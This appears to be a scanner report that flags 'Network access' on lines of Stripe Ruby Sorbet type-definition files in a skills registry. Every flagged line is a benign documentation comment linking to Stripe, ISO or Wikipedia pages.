def network; end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication - Network accessline 227
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 403
sig { returns(T.nilable(PaymentMethodOptions)) } def payment_method_options; end # The list of payment method types to provide to every invoice created by the subscription. If not set, Stripe attempts to automatically determine - Network accessline 404
def payment_method_options; end # The list of payment method types to provide to every invoice created by the subscription. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default pa - Network accessline 405
# The list of payment method types to provide to every invoice created by the subscription. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s defau - Network accessline 443
sig { returns(T.nilable(Integer)) } def trial_end; end # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting t - Network accessline 444
def trial_end; end # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_en - Network accessline 445
# Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U - Network accessline 498
sig { returns(AutomaticTax) } def automatic_tax; end # The reference point that aligns future [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle) dates. It sets the day of week for `week` intervals, the day of month - Network accessline 499
def automatic_tax; end # The reference point that aligns future [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle) dates. It sets the day of week for `week` intervals, the day of month for `month` and `year` intervals, - Network accessline 500
# The reference point that aligns future [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle) dates. It sets the day of week for `week` intervals, the day of month for `month` and `year` intervals, and the month of year for - Network accessline 528
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 529
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 530
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 540
sig { returns(T.nilable(Integer)) } def days_until_due; end # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If ne - Network accessline 541
def days_until_due; end # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the cus - Network accessline 542
# ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de - Network accessline 543
sig { returns(T.nilable(T.any(String, ::Stripe::PaymentMethod))) } def default_payment_method; end # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a - Network accessline 544
def default_payment_method; end # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_pay - Network accessline 545
# ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I - Network accessline 575
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 576
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 577
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 584
sig { returns(String) } def object; end # The account (if any) the charge was made on behalf of for charges associated with this subscription. See the [Connect documentation](https://docs.stripe.com/connect/subscriptions#on-behalf-o - Network accessline 585
def object; end # The account (if any) the charge was made on behalf of for charges associated with this subscription. See the [Connect documentation](https://docs.stripe.com/connect/subscriptions#on-behalf-of) for details. sig { re - Network accessline 586
# The account (if any) the charge was made on behalf of for charges associated with this subscription. See the [Connect documentation](https://docs.stripe.com/connect/subscriptions#on-behalf-of) for details. - Network accessline 587
sig { returns(T.nilable(T.any(String, ::Stripe::Account))) } def on_behalf_of; end # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated - Network accessline 588
def on_behalf_of; end # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection](https://docs.s - Network accessline 589
# If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection](https://docs.stripe.com/billing/subscrip - Network accessline 593
sig { returns(T.nilable(PaymentSettings)) } def payment_settings; end # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_inv - Network accessline 594
def payment_settings; end # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specifie - Network accessline 595
# Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval. - Network accessline 596
sig { returns(T.nilable(PendingInvoiceItemInterval)) } def pending_invoice_item_interval; end # You can use this [SetupIntent](https://docs.stripe.com/api/setup_intents) to collect user authentication when creating a subscription wi - Network accessline 597
def pending_invoice_item_interval; end # You can use this [SetupIntent](https://docs.stripe.com/api/setup_intents) to collect user authentication when creating a subscription without immediate payment or updating a subscription's paymen - Network accessline 598
# You can use this [SetupIntent](https://docs.stripe.com/api/setup_intents) to collect user authentication when creating a subscription without immediate payment or updating a subscription's payment method, allowing you to optimize for off- - Network accessline 599
sig { returns(T.nilable(T.any(String, ::Stripe::SetupIntent))) } def pending_setup_intent; end # If specified, [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates) that will be applied to the subscription - Network accessline 600
def pending_setup_intent; end # If specified, [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates) that will be applied to the subscription once the `latest_invoice` has been paid. sig { returns(T.nilable - Network accessline 601
# If specified, [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates) that will be applied to the subscription once the `latest_invoice` has been paid. - Network accessline 614
# A subscription that is currently in a trial period is `trialing` and moves to `active` when the trial period is over. # # A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.st - Network accessline 615
# # A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.stripe.com/billing/subscriptions/trials#create-free-trials-without-payment). A `paused` subscription doesn't generate invoices - Network accessline 616
# A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.stripe.com/billing/subscriptions/trials#create-free-trials-without-payment). A `paused` subscription doesn't generate invoices and c - Network accessline 636
sig { returns(T.nilable(Integer)) } def trial_start; end # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or it - Network accessline 637
def trial_start; end # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/met - Network accessline 638
# Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata). - Network accessline 639
# # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, - Network accessline 640
# Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe - Network accessline 648
# Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata). - Network accessline 649
# # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, - Network accessline 650
# Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe - Network accessline 661
# The payment_behavior parameter determines the exact behavior of the initial payment. # # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/bil - Network accessline 662
# # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead. # Schedules provide the fl - Network accessline 663
# To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead. - Network accessline 722
# Updates an existing subscription to match the specified parameters. # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes. # To preview how the proration is cal - Network accessline 723
# When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes. # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoice - Network accessline 724
# To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoices/create_preview) endpoint. - Network accessline 734
# # # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscriptio - Network accessline 735
# # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription chan - Network accessline 736
# In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription changes](h - Network accessline 737
# # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create - Network accessline 738
# If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create_prora - Network accessline 740
# If you don't want to prorate, set the proration_behavior option to none. With this option, the customer is billed 100 on May 1 and 200 on June 1. Similarly, if you set proration_behavior to none when switching between different billing in - Network accessline 741
# # Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based b - Network accessline 742
# Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based billing
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/subscription_item.rbi
- Network accessline 36
sig { returns(String) } def id; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 37
def id; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Hash[Stri - Network accessline 38
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 42
sig { returns(String) } def object; end # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration. - Network accessline 43
def object; end # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration. # - Network accessline 44
# You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration. - Network accessline 45
# # Plans define the base price, currency, and billing cycle for recurring purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different ph - Network accessline 46
# Plans define the base price, currency, and billing cycle for recurring purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical - Network accessline 47
# [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical goods or levels of service should be represented by products, and pricing options should be represe - Network accessline 49
# For example, you might have a single "gold" product that has plans for $10/month, $100/year, €9/month, and €90/year. # # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) an - Network accessline 50
# # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview). sig { returns(::Stripe::Plan) } - Network accessline 51
# Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview). - Network accessline 53
def plan; end # Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and p - Network accessline 54
# Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you tra - Network accessline 55
# [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track payment terms. Different physical goods or levels of service should be represented by products, and pricing options should be - Network accessline 57
# For example, you might have a single "gold" product that has prices for $10/month, $100/year, and €9 once. # # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an - Network accessline 58
# # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stri - Network accessline 59
# Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stripe.com - Network accessline 60
sig { returns(::Stripe::Price) } def price; end # The [quantity](https://docs.stripe.com/subscriptions/quantities) of the plan to which the customer should be subscribed. - Network accessline 61
def price; end # The [quantity](https://docs.stripe.com/subscriptions/quantities) of the plan to which the customer should be subscribed. sig { returns(T.nilable(Integer)) } - Network accessline 62
# The [quantity](https://docs.stripe.com/subscriptions/quantities) of the plan to which the customer should be subscribed.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/subscription_schedule.rbi
- Network accessline 6
# A subscription schedule allows you to create and manage the lifecycle of a subscription by predefining expected changes. # # Related guide: [Subscription schedules](https://docs.stripe.com/billing/subscriptions/subscription-schedules) - Network accessline 7
# # Related guide: [Subscription schedules](https://docs.stripe.com/billing/subscriptions/subscription-schedules) class SubscriptionSchedule < APIResource - Network accessline 8
# Related guide: [Subscription schedules](https://docs.stripe.com/billing/subscriptions/subscription-schedules) - Network accessline 147
sig { returns(T.nilable(AutomaticTax)) } def automatic_tax; end # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering th - Network accessline 148
def automatic_tax; end # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle - Network accessline 149
# Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle anchor is automatically modif - Network accessline 247
sig { returns(T::Array[Discount]) } def discounts; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object - Network accessline 248
def discounts; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { retur - Network accessline 249
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 397
sig { returns(T::Array[Discount]) } def discounts; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an item. Metadata on this item will update the underlying subscription item's `me - Network accessline 398
def discounts; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an item. Metadata on this item will update the underlying subscription item's `metadata` when the phase is entered. s - Network accessline 399
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an item. Metadata on this item will update the underlying subscription item's `metadata` when the phase is entered. - Network accessline 442
sig { returns(T.nilable(AutomaticTax)) } def automatic_tax; end # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering th - Network accessline 443
def automatic_tax; end # Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle - Network accessline 444
# Possible values are `phase_start` or `automatic`. If `phase_start` then billing cycle anchor of the subscription is set to the start of the phase when entering the phase. If `automatic` then the billing cycle anchor is automatically modif - Network accessline 451
sig { returns(T.nilable(String)) } def collection_method; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies) - Network accessline 452
def collection_method; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 453
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 475
sig { returns(T::Array[Item]) } def items; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` - Network accessline 476
def items; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered. Updating th - Network accessline 477
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered. Updating the underlying subscrip - Network accessline 544
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 545
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nila - Network accessline 546
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 559
sig { returns(T.nilable(String)) } def released_subscription; end # The present status of the subscription schedule. Possible values are `not_started`, `active`, `completed`, `released`, and `canceled`. You can read more about the d - Network accessline 560
def released_subscription; end # The present status of the subscription schedule. Possible values are `not_started`, `active`, `completed`, `released`, and `canceled`. You can read more about the different states in our [behavior guide] - Network accessline 561
# The present status of the subscription schedule. Possible values are `not_started`, `active`, `completed`, `released`, and `canceled`. You can read more about the different states in our [behavior guide](https://docs.stripe.com/billing/su
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/association.rbi
- Network accessline 9
class TaxTransactionAttempt < ::Stripe::StripeObject class Committed < ::Stripe::StripeObject # The [Tax Transaction](https://docs.stripe.com/api/tax/transaction/object) - Network accessline 10
class Committed < ::Stripe::StripeObject # The [Tax Transaction](https://docs.stripe.com/api/tax/transaction/object) sig { returns(String) } - Network accessline 11
# The [Tax Transaction](https://docs.stripe.com/api/tax/transaction/object) - Network accessline 49
end end # The [Tax Calculation](https://docs.stripe.com/api/tax/calculations/object) that was included in PaymentIntent. - Network accessline 50
end # The [Tax Calculation](https://docs.stripe.com/api/tax/calculations/object) that was included in PaymentIntent. sig { returns(String) } - Network accessline 51
# The [Tax Calculation](https://docs.stripe.com/api/tax/calculations/object) that was included in PaymentIntent. - Network accessline 58
sig { returns(String) } def object; end # The [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) that this Tax Association is tracking. - Network accessline 59
def object; end # The [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) that this Tax Association is tracking. sig { returns(String) } - Network accessline 60
# The [PaymentIntent](https://docs.stripe.com/api/payment_intents/object) that this Tax Association is tracking.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/calculation.rbi
- Network accessline 7
# A Tax Calculation allows you to calculate the tax to collect from your customer. # # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom) - Network accessline 8
# # Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom) class Calculation < APIResource - Network accessline 9
# Related guide: [Calculate tax in your custom payment flow](https://docs.stripe.com/tax/custom) - Network accessline 14
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 15
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 16
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 26
sig { returns(T.nilable(String)) } def postal_code; end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 27
def postal_code; end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". sig { returns(T.nilable(String)) } - Network accessline 28
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 77
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 78
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 79
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 89
sig { returns(T.nilable(String)) } def postal_code; end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 90
def postal_code; end # State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". sig { returns(T.nilable(String)) } - Network accessline 91
# State/province as an [ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2) subdivision code, without country prefix, such as "NY" or "TX". - Network accessline 112
class TaxBreakdown < ::Stripe::StripeObject class Jurisdiction < ::Stripe::StripeObject # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 113
class Jurisdiction < ::Stripe::StripeObject # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 114
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 121
sig { returns(String) } def level; end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 122
def level; end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. sig { returns(T.nilable(String)) } - Network accessline 123
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 148
end end # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 149
end # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 150
# The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 163
sig { returns(String) } def taxability_reason; end # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 164
def taxability_reason; end # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 165
# The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 173
end end # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this am - Network accessline 174
end # The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. - Network accessline 175
# The shipping amount in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If `tax_behavior=inclusive`, then this amount includes taxes. Otherwise, taxes were calculated on top of this amount. - Network accessline 176
sig { returns(Integer) } def amount; end # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 177
def amount; end # The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 178
# The amount of tax calculated for shipping, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 179
sig { returns(Integer) } def amount_tax; end # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object). - Network accessline 180
def amount_tax; end # The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object). sig { returns(T.nilable(String)) } - Network accessline 181
# The ID of an existing [ShippingRate](https://docs.stripe.com/api/shipping_rates/object). - Network accessline 188
sig { returns(T.nilable(T::Array[TaxBreakdown])) } def tax_breakdown; end # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping. - Network accessline 189
def tax_breakdown; end # The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping. sig { returns(String) } - Network accessline 190
# The [tax code](https://docs.stripe.com/tax/tax-categories) ID used for shipping. - Network accessline 214
end end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 215
end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 216
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 226
sig { returns(T.nilable(String)) } def rate_type; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 227
def rate_type; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 228
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 239
end end # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 240
end # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 241
# The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 251
sig { returns(String) } def taxability_reason; end # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 252
def taxability_reason; end # The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 253
# The amount on which tax is calculated, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 261
end end # Total amount after taxes in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 262
end # Total amount after taxes in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) } - Network accessline 263
# Total amount after taxes in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 264
sig { returns(Integer) } def amount_total; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 265
def amount_total; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 266
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 267
sig { returns(String) } def currency; end # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource. - Network accessline 268
def currency; end # The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource. sig { returns(T.nilable(String)) } - Network accessline 269
# The ID of an existing [Customer](https://docs.stripe.com/api/customers/object) used for the resource.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/tax/calculation_line_item.rbi
- Network accessline 8
class TaxBreakdown < ::Stripe::StripeObject class Jurisdiction < ::Stripe::StripeObject # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 9
class Jurisdiction < ::Stripe::StripeObject # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 10
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 17
sig { returns(String) } def level; end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 18
def level; end # [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. sig { returns(T.nilable(String)) } - Network accessline 19
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2), without country prefix. For example, "NY" for New York, United States. - Network accessline 44
end end # The amount of tax, in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 45
